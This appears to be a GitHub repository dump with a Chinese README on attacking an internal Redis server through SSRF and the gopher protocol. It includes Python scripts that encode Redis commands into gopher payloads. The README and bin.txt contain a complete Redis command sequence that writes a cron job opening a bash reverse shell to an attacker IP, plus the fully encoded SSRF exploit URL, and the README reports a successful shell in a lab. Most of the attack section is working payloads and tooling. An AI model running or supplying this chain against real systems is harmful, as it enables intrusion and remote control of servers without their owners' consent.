├── pic ├── Screenshot 2020-06-26 上午4.39.59.jpg ├── Screenshot 2020-06-26 上午4.40.02.jpg ├── Screenshot 2020-06-26 上午4.59.50.jpg ├── Screenshot 2020-06-26 上午5.04.03.jpg ├── Screenshot 2020-06-26 上午7.40.22.jpg └── Screenshot 2020-06-26 上午7.40.42.jpg ├── bin.txt ├── gopher_strip.py ├── gopher_convert.py ├── .gitignore └── README.md /pic/Screenshot 2020-06-26 上午4.39.59.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NickYan7/gopher_payload_generator/HEAD/pic/Screenshot 2020-06-26 上午4.39.59.jpg -------------------------------------------------------------------------------- /pic/Screenshot 2020-06-26 上午4.40.02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NickYan7/gopher_payload_generator/HEAD/pic/Screenshot 2020-06-26 上午4.40.02.jpg -------------------------------------------------------------------------------- /pic/Screenshot 2020-06-26 上午4.59.50.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NickYan7/gopher_payload_generator/HEAD/pic/Screenshot 2020-06-26 上午4.59.50.jpg -------------------------------------------------------------------------------- /pic/Screenshot 2020-06-26 上午5.04.03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NickYan7/gopher_payload_generator/HEAD/pic/Screenshot 2020-06-26 上午5.04.03.jpg -------------------------------------------------------------------------------- /pic/Screenshot 2020-06-26 上午7.40.22.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NickYan7/gopher_payload_generator/HEAD/pic/Screenshot 2020-06-26 上午7.40.22.jpg -------------------------------------------------------------------------------- /pic/Screenshot 2020-06-26 上午7.40.42.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NickYan7/gopher_payload_generator/HEAD/pic/Screenshot 2020-06-26 上午7.40.42.jpg -------------------------------------------------------------------------------- /bin.txt: -------------------------------------------------------------------------------- 1 | *2\r 2 | $4\r 3 | auth\r 4 | $6\r 5 | 123456\r 6 | *4\r 7 | $6\r 8 | config\r 9 | $3\r 10 | set\r 11 | $3\r 12 | dir\r 13 | $15\r 14 | /var/spool/cron\r 15 | *3\r 16 | $3\r 17 | set\r 18 | $3\r 19 | xxx\r 20 | $62\r 21 | 22 | 23 | */1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.101/4646 0>&1 24 | 25 | \r 26 | *4\r 27 | $6\r 28 | config\r 29 | $3\r 30 | set\r 31 | $10\r 32 | dbfilename\r 33 | $4\r 34 | root\r 35 | *1\r 36 | $4\r 37 | save\r 38 | -------------------------------------------------------------------------------- /gopher_strip.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # 生成 gopher payload 3 | # 适用于 http 访问 4 | import os, argparse 5 | 6 | def main(): 7 | parser = argparse.ArgumentParser() 8 | parser.add_argument( 9 | '-f', 10 | '--filename', 11 | type=str, 12 | dest='filename', 13 | help="type the filename you want to generate..." 14 | ) 15 | args = parser.parse_args() 16 | if args.filename: 17 | return args.filename 18 | if args.filename == None: 19 | parser.print_help() 20 | os._exit(0) 21 | 22 | def convert(filename): 23 | payload = '' 24 | with open(filename, 'r') as f: 25 | for line in f.readlines(): 26 | if line[-3:-1] == r"\r" or line[-1:-3:-1] == "r\\": 27 | line = line.replace(r'\r', '%0d%0a').strip() 28 | payload = payload + line 29 | elif line == '\n': 30 | payload = payload + '%0a' 31 | else: 32 | line = line.strip() 33 | payload = payload + line 34 | 35 | return payload 36 | 37 | 38 | if __name__ == "__main__": 39 | result = main() 40 | print(convert(result)) -------------------------------------------------------------------------------- /gopher_convert.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 生成 gopher payload 4 | # 将16进制流或者post数据文件,redis数据文件转化为gopher协议可以发送的形式. 5 | # 适用于 curl 6 | import optparse 7 | 8 | def hexs2url(hexstr): 9 | i = 0 10 | while True: 11 | if i % 3 == 0: 12 | hexstr = hexstr[:i] + '%' + hexstr[i:] 13 | i += 1 14 | if i == len(hexstr): 15 | break 16 | print(hexstr) 17 | 18 | def getfiletourl(path): 19 | with open(path, 'r') as f: 20 | content = f.read() 21 | hexstr = '' 22 | for i in content: 23 | s = hex(ord(i)).replace('0x', '%') 24 | if len(s)<3: 25 | s = s[:1] + '0' + s[1:] 26 | if s == '%0a': 27 | s = '%0d%0a' 28 | hexstr += s 29 | print(hexstr) 30 | 31 | def main(): 32 | parse = optparse.OptionParser("usage%prog --hex -r ") 33 | parse.add_option('--hex', dest='hex', type='string', help='specify target stream') 34 | parse.add_option('-r', dest='path', type='string', help='specify target file path') 35 | (options, args) = parse.parse_args() 36 | if options.hex: 37 | hexs2url(options.hex) 38 | if options.path: 39 | getfiletourl(options.path) 40 | 41 | if __name__=='__main__': 42 | main() -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | 116 | # Spyder project settings 117 | .spyderproject 118 | .spyproject 119 | 120 | # Rope project settings 121 | .ropeproject 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ 133 | 134 | # pytype static type analyzer 135 | .pytype/ 136 | 137 | # Cython debug symbols 138 | cython_debug/ 139 | 140 | # User option 141 | .idea 142 | .vscode 143 | Icon* 144 | .DS_Store 145 | .python-version 146 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #
SSRF 攻击 Redis Getshell(生成 gopher payload)
2 | 3 | ## 📍 目录 4 | 5 | > * 前言 6 | > * gopher 协议概述 7 | > * 构造和生成 payload 8 | > * SSRF+gopher 访问内网 redis 9 | > * 后话 10 | 11 | ## 📍 前言 12 | 13 | 这篇博客就不细讲 SSRF+gopher 的具体攻击过程了,主要针对 gopher 协议的特点生成 payload 做一点微小的研究。 14 | 15 | ## 📍 gopher 协议概述 16 | 17 | ``` 18 | gopher://192.168.0.105:70/_ + DATA 19 | ``` 20 | 21 | 使用 gopher 协议时若不指定端口则向默认端口 70 发送数据。后面的 `_` 是必需的,可以是任意字符,不会被传输,但是必须要有,表示后面接着的都是要传输的数据。 22 | 23 | 只要精心构造 `DATA` ,就可以通过 gopher 协议访问 redis、mysql 或者发送 GET/POST 请求。 24 | 25 | ### 访问 Redis 26 | 27 | 简述一下环境: 28 | 29 | ``` 30 | 0.101 攻击者 31 | 0.100 redis 服务器 32 | 0.104 web 服务器 33 | ``` 34 | 35 | 首先要搞清楚访问 redis 时每次发送的数据是怎样的,所以先用 `socat` 监听 4444 端口,将 redis 的 6379 端口转发至 4444 来监听 gopher 访问 redis 的流量: 36 | 37 | ``` 38 | // redis 服务器执行 39 | $ socat -v tcp-listen:4444,fork tcp-connect:192.168.0.100:6379 40 | ``` 41 | 42 | 然后在攻击机 `redis-cli` 连接 redis 服务器的 4444 端口,运行一些常见指令,这里 redis 的密码是 123456。 43 | 44 | ![Screenshot 2020-06-26 上午4.40.02](pic/Screenshot%202020-06-26%20%E4%B8%8A%E5%8D%884.40.02.jpg) 45 | 46 | 命令依次是输入密码、显示所有键,输出 `name` 键的值。 47 | 48 | 查看 redis 服务器,得到的回显如下: 49 | 50 | ![Screenshot 2020-06-26 上午4.39.59](pic/Screenshot%202020-06-26%20%E4%B8%8A%E5%8D%884.39.59.jpg) 51 | 52 | 那么,如果我们构造 gopher 的 `DATA` 也是这种格式的话,就可以获取到数据。借助 web 服务器利用 SSRF 就可以达到攻击内网 redis 的目的。 53 | 54 | ### gopher 协议转换规则 55 | 56 | gopher 协议支持 url 编码后的 % 编码,但很多字符用常见的 url 编码器并不会编码,如果部分字符不编码,则 `curl` 不解析。所以最好所有字符都编码。 57 | 58 | 简单记录几点: 59 | 60 | > - 如果第一个字符是 `>` 或者 `<` 那么丢弃该行字符串,表示请求和返回的时间。 61 | > - 如果前 3 个字符是 `+OK` 那么丢弃该行字符串,表示返回的字符串。 62 | > - 将 `\r` 字符串替换成 `%0d%0a` 63 | > - 空白行替换为 `%0a` 64 | 65 | ## 📍 构造和生成 Payload 66 | 67 | 写了一个[脚本](https://github.com/NickYan7/gopher_payload_generator),将 redis 指令写入 `bin.txt` ,然后脚本直接输出 `payload` ,如图: 68 | 69 | ![Screenshot 2020-06-26 上午4.59.50](pic/Screenshot%202020-06-26%20%E4%B8%8A%E5%8D%884.59.50.jpg) 70 | 71 | `\r` 表示换行,这里就不用写了。 72 | 73 | payload:`curl gopher://192.168.0.100:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%32%0d%0a%24%34%0d%0a%6b%65%79%73%0d%0a%24%31%0d%0a%2a%0d%0a` 74 | 75 | `curl` 支持 gopher 协议。可以看到返回了所有键: 76 | 77 | ![Screenshot 2020-06-26 上午5.04.03](pic/Screenshot%202020-06-26%20%E4%B8%8A%E5%8D%885.04.03.jpg) 78 | 79 | ## 📍 SSRF+gopher 攻击内网 Redis 80 | 81 | ### 写入 crontab 计划任务反弹 shell 82 | 83 | 写入 crontab 计划任务需要目标的 redis 服务是 root 权限,其实有点苛刻。简述一下环境: 84 | 85 | ``` 86 | 0.101 攻击者 87 | 0.100 redis 服务器,只开放给局域网内 88 | 0.105 web 服务器,php 支持 curl_exec 89 | ``` 90 | 91 | 首先构造 payload: 92 | 93 | ``` 94 | *2\r 95 | $4\r 96 | auth\r 97 | $6\r 98 | 123456\r 99 | *4\r 100 | $6\r 101 | config\r 102 | $3\r 103 | set\r 104 | $3\r 105 | dir\r 106 | $15\r 107 | /var/spool/cron\r 108 | *3\r 109 | $3\r 110 | set\r 111 | $3\r 112 | xxx\r 113 | $62\r 114 | 115 | 116 | */1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.101/4646 0>&1 117 | 118 | \r 119 | *4\r 120 | $6\r 121 | config\r 122 | $3\r 123 | set\r 124 | $10\r 125 | dbfilename\r 126 | $4\r 127 | root\r 128 | *1\r 129 | $4\r 130 | save\r 131 | ``` 132 | 133 | 脚本转换得到: 134 | 135 | ``` 136 | *2%0d%0a$4%0d%0aauth%0d%0a$6%0d%0a123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$15%0d%0a/var/spool/cron%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0axxx%0d%0a$62%0d%0a%0a%0a*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.101/4646 0>&1%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a 137 | ``` 138 | 139 | 攻击者本地监听 4646 端口,web 服务器的 SSRF 漏洞点位于 ssrf.php。由于先访问 web 服务器,会编码解码一次,ssrf 在访问内网 redis 时又要解码一次,所以 gopher 请求部分的内容需要二次 url 编码。 140 | 141 | 构造 payload: 142 | 143 | ``` 144 | http://192.168.0.105/ssrf_test/ssrf.php?url=gopher%3a%2f%2f192.168.0.100%3a6379%2f_*2%250d%250a%244%250d%250aauth%250d%250a%246%250d%250a123456%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2415%250d%250a%2fvar%2fspool%2fcron%250d%250a*3%250d%250a%243%250d%250aset%250d%250a%243%250d%250axxx%250d%250a%2462%250d%250a%250a%250a*%2f1+*+*+*+*+%2fbin%2fbash+-i%3e%26%2fdev%2ftcp%2f192.168.0.101%2f4646+0%3e%261%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a 145 | ``` 146 | 147 | 浏览器访问(没有回显): 148 | 149 | ![Screenshot 2020-06-26 上午7.40.42](pic/Screenshot%202020-06-26%20%E4%B8%8A%E5%8D%887.40.42.jpg) 150 | 151 | 一分钟后,攻击者的机器弹回内网 redis 服务器的 shell: 152 | 153 | ![Screenshot 2020-06-26 上午7.40.22](pic/Screenshot%202020-06-26%20%E4%B8%8A%E5%8D%887.40.22.jpg) 154 | 155 | ## 📍 后话 156 | 157 | 这只是 SSRF+gopher 众多玩法中的一点而已,复现过程中其实小坑还是蛮多的: 158 | 159 | * `curl` 的 payload 格式和 http 请求的格式有些许不同,为此我写了两个用来转换 payload 的脚本。 160 | * 浏览器请求时一定要注意 gopher 部分的二次编码。 161 | * 如果是自己搭环境测试,要注意 php 支持 curl_exec 扩展才能进行 gopher 请求,php 版本要大于 3.3。 162 | 163 | ### 访问 mysql 164 | 165 | 访问 mysql 的步骤和访问 redis 其实大同小异,也是先监听端口转发流量分析流量的格式。但是有一个问题我一直没搞明白:redis 允许先连接,然后 `auth password` 这种方式来认证,方便分析流量,但是 mysql 在进行连接时必须带参数 `-p` 来输入密码,这样的话第一步密码的流量就抓不到了,那还怎么连 mysql 呢?费解。 166 | 167 | ### 发送 GET/POST 数据 168 | 169 | 浏览器访问,Burp 抓包,然后另存为文件,其他的思路都差不多。 170 | 171 | --------------------------------------------------------------------------------